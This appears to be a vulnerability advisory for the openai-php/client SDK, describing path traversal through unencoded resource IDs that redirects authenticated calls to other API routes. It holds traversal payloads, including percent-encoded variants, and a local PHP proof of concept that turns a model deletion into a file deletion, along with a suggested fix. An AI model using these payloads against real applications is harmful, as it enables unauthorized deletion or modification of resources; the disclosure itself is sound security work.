Summary
Resource identifiers are interpolated into request paths without path-segment encoding. An application user who can influence an ID passed to a resource-specific SDK method can use ../ segments to redirect the authenticated operation to a different OpenAI API route. A local proof demonstrates Models::delete('../files/file-victim') being sent as DELETE /v1/files/file-victim with the SDK bearer token. The same traversal is bypassable with percent-encoded dot segments.
$client->models()->delete('%2e%2e/files/file-victim')
Details
Root cause
At commit 41d1a82b069d3cd21e2e6e3240e8875abd3dcca6, src/ValueObjects/ResourceUri.php directly concatenates caller-supplied IDs into paths in retrieve(), modify(), retrieveContent(), cancel(), and delete(). For example:
public static function delete(string $resource, string $id): self
{
return new self("{$resource}/{$id}");
}
src/ValueObjects/Transporter/Payload.php:150 concatenates that value with the authenticated base URI, and HttpTransporter::requestObject() sends it. Standard Guzzle/cURL normalization resolves the dot segment before transmission.
Demonstrated call path:
Models::delete($model) in src/Resources/Models.php:53-60
Payload::delete('models', $model)
ResourceUri::delete() in src/ValueObjects/ResourceUri.php:81-83
Payload::toRequest() in src/ValueObjects/Transporter/Payload.php:144-150,194
- Bearer header creation in
src/Factory.php:149-153 and Headers.php:36-40
- Request send in
src/Transporters/HttpTransporter.php:58-63
The same unsafe construction is shared by retrieve, modify, content, cancel, and delete operations across multiple resources. Several nested resources also interpolate dynamic parent IDs into the resource string itself, so a complete fix should encode every dynamic path segment exactly once, not only the final ID.
Suggested fix
Use rawurlencode() for each dynamic path segment before joining it to fixed route components. Prefer a URI builder that distinguishes fixed route components from dynamic identifier segments. Add regression tests for leaf and parent IDs containing /, .., ?, #, encoded separators, and Unicode.
A scratch-only comparison patch that applied rawurlencode($id) changed the request to DELETE /v1/models/..%2Ffiles%2Ffile-victim and prevented the synthetic deletion. No live OpenAI endpoint or real credential was used.
Mixed encoding such as .%2e/files/file-victim behaves the same.
I suggest treating each dynamic identifier as an opaque path segment and encoding it exactly once, plus adding regression tests for %2e%2e and .%2e. No live OpenAI endpoint or real credential was used for this check.
Proof of concept
Prerequisites
git clone https://github.com/openai-php/client validation
cd validation
git checkout 41d1a82b069d3cd21e2e6e3240e8875abd3dcca6
composer install
cd ..
Save the following as poc.php next to the validation directory and run php poc.php:
<?php declare(strict_types=1);
require __DIR__ . '/validation/vendor/autoload.php';
$port = random_int(20000, 40000);
$serverCode = <<<'PHP'
$port = (int) $argv[1];
$server = stream_socket_server("tcp://127.0.0.1:{$port}", $errno, $error);
if ($server === false) {
fwrite(STDERR, "listen failed: {$error}\n");
exit(1);
}
echo "READY\n";
flush();
$connection = stream_socket_accept($server, 10);
if ($connection === false) {
fwrite(STDERR, "accept timed out\n");
exit(1);
}
$requestLine = rtrim((string) fgets($connection), "\r\n");
$authorization = '';
while (($line = fgets($connection)) !== false && $line !== "\r\n") {
if (stripos($line, 'Authorization:') === 0) {
$authorization = trim(substr($line, strlen('Authorization:')));
}
}
$deleted = $requestLine === 'DELETE /v1/files/file-victim HTTP/1.1';
$body = json_encode([
'id' => 'file-victim',
'object' => 'file',
'deleted' => $deleted,
], JSON_THROW_ON_ERROR);
fwrite($connection, "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: ".strlen($body)."\r\nConnection: close\r\n\r\n{$body}");
fclose($connection);
fclose($server);
echo "REQUEST {$requestLine}\n";
echo "AUTHORIZATION {$authorization}\n";
echo 'SYNTHETIC_FILE_DELETED '.($deleted ? 'yes' : 'no')."\n";
PHP;
$pipes = [];
$process = proc_open(
[PHP_BINARY, '-r', $serverCode, (string) $port],
[0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
$pipes,
);
if (! is_resource($process)) {
throw new RuntimeException('Unable to start local mock');
}
try {
if (trim((string) fgets($pipes[1])) !== 'READY') {
throw new RuntimeException('Mock server did not start');
}
$client = OpenAI::factory()
->withApiKey('synthetic-api-key')
->withBaseUri("http://127.0.0.1:{$port}/v1")
->make();
$client->models()->delete('../files/file-victim');
echo stream_get_contents($pipes[1]);
} finally {
foreach ($pipes as $pipe) {
if (is_resource($pipe)) fclose($pipe);
}
proc_close($process);
}
Expected observed output:
REQUEST DELETE /v1/files/file-victim HTTP/1.1
AUTHORIZATION Bearer synthetic-api-key
SYNTHETIC_FILE_DELETED yes
The proof is loopback-only and changes only one in-memory synthetic state flag.
Impact
This is an authenticated endpoint-confusion vulnerability. A lower-trust application user who is permitted by the host application to choose only a resource identifier can cause the SDK to issue a different API operation using the server's OpenAI bearer credential.
The local proof demonstrates integrity impact: a model-deletion wrapper is redirected to the file-deletion endpoint and the cross-resource response is accepted because both response shapes contain id, object, and deleted.
Applications are affected when they pass user-influenced IDs to SDK resource methods without independently enforcing a strict identifier allowlist. Depending on the exposed wrapper and API-key permissions, the shared URI construction may permit unauthorized reads, modifications, cancellations, or deletions of other OpenAI resources. Those stronger impacts are inferred from the shared call paths and were not tested against the live OpenAI API.
Summary
Resource identifiers are interpolated into request paths without path-segment encoding. An application user who can influence an ID passed to a resource-specific SDK method can use
../segments to redirect the authenticated operation to a different OpenAI API route. A local proof demonstrates Models::delete('../files/file-victim') being sent as DELETE /v1/files/file-victim with the SDK bearer token. The same traversal is bypassable with percent-encoded dot segments.$client->models()->delete('%2e%2e/files/file-victim')Details
Root cause
At commit
41d1a82b069d3cd21e2e6e3240e8875abd3dcca6,src/ValueObjects/ResourceUri.phpdirectly concatenates caller-supplied IDs into paths inretrieve(),modify(),retrieveContent(),cancel(), anddelete(). For example:src/ValueObjects/Transporter/Payload.php:150concatenates that value with the authenticated base URI, andHttpTransporter::requestObject()sends it. Standard Guzzle/cURL normalization resolves the dot segment before transmission.Demonstrated call path:
Models::delete($model)insrc/Resources/Models.php:53-60Payload::delete('models', $model)ResourceUri::delete()insrc/ValueObjects/ResourceUri.php:81-83Payload::toRequest()insrc/ValueObjects/Transporter/Payload.php:144-150,194src/Factory.php:149-153andHeaders.php:36-40src/Transporters/HttpTransporter.php:58-63The same unsafe construction is shared by retrieve, modify, content, cancel, and delete operations across multiple resources. Several nested resources also interpolate dynamic parent IDs into the resource string itself, so a complete fix should encode every dynamic path segment exactly once, not only the final ID.
Suggested fix
Use
rawurlencode()for each dynamic path segment before joining it to fixed route components. Prefer a URI builder that distinguishes fixed route components from dynamic identifier segments. Add regression tests for leaf and parent IDs containing/,..,?,#, encoded separators, and Unicode.A scratch-only comparison patch that applied
rawurlencode($id)changed the request toDELETE /v1/models/..%2Ffiles%2Ffile-victimand prevented the synthetic deletion. No live OpenAI endpoint or real credential was used.Mixed encoding such as
.%2e/files/file-victimbehaves the same.I suggest treating each dynamic identifier as an opaque path segment and encoding it exactly once, plus adding regression tests for
%2e%2eand.%2e. No live OpenAI endpoint or real credential was used for this check.Proof of concept
Prerequisites
Save the following as
poc.phpnext to thevalidationdirectory and runphp poc.php:Expected observed output:
The proof is loopback-only and changes only one in-memory synthetic state flag.
Impact
This is an authenticated endpoint-confusion vulnerability. A lower-trust application user who is permitted by the host application to choose only a resource identifier can cause the SDK to issue a different API operation using the server's OpenAI bearer credential.
The local proof demonstrates integrity impact: a model-deletion wrapper is redirected to the file-deletion endpoint and the cross-resource response is accepted because both response shapes contain id, object, and deleted.
Applications are affected when they pass user-influenced IDs to SDK resource methods without independently enforcing a strict identifier allowlist. Depending on the exposed wrapper and API-key permissions, the shared URI construction may permit unauthorized reads, modifications, cancellations, or deletions of other OpenAI resources. Those stronger impacts are inferred from the shared call paths and were not tested against the live OpenAI API.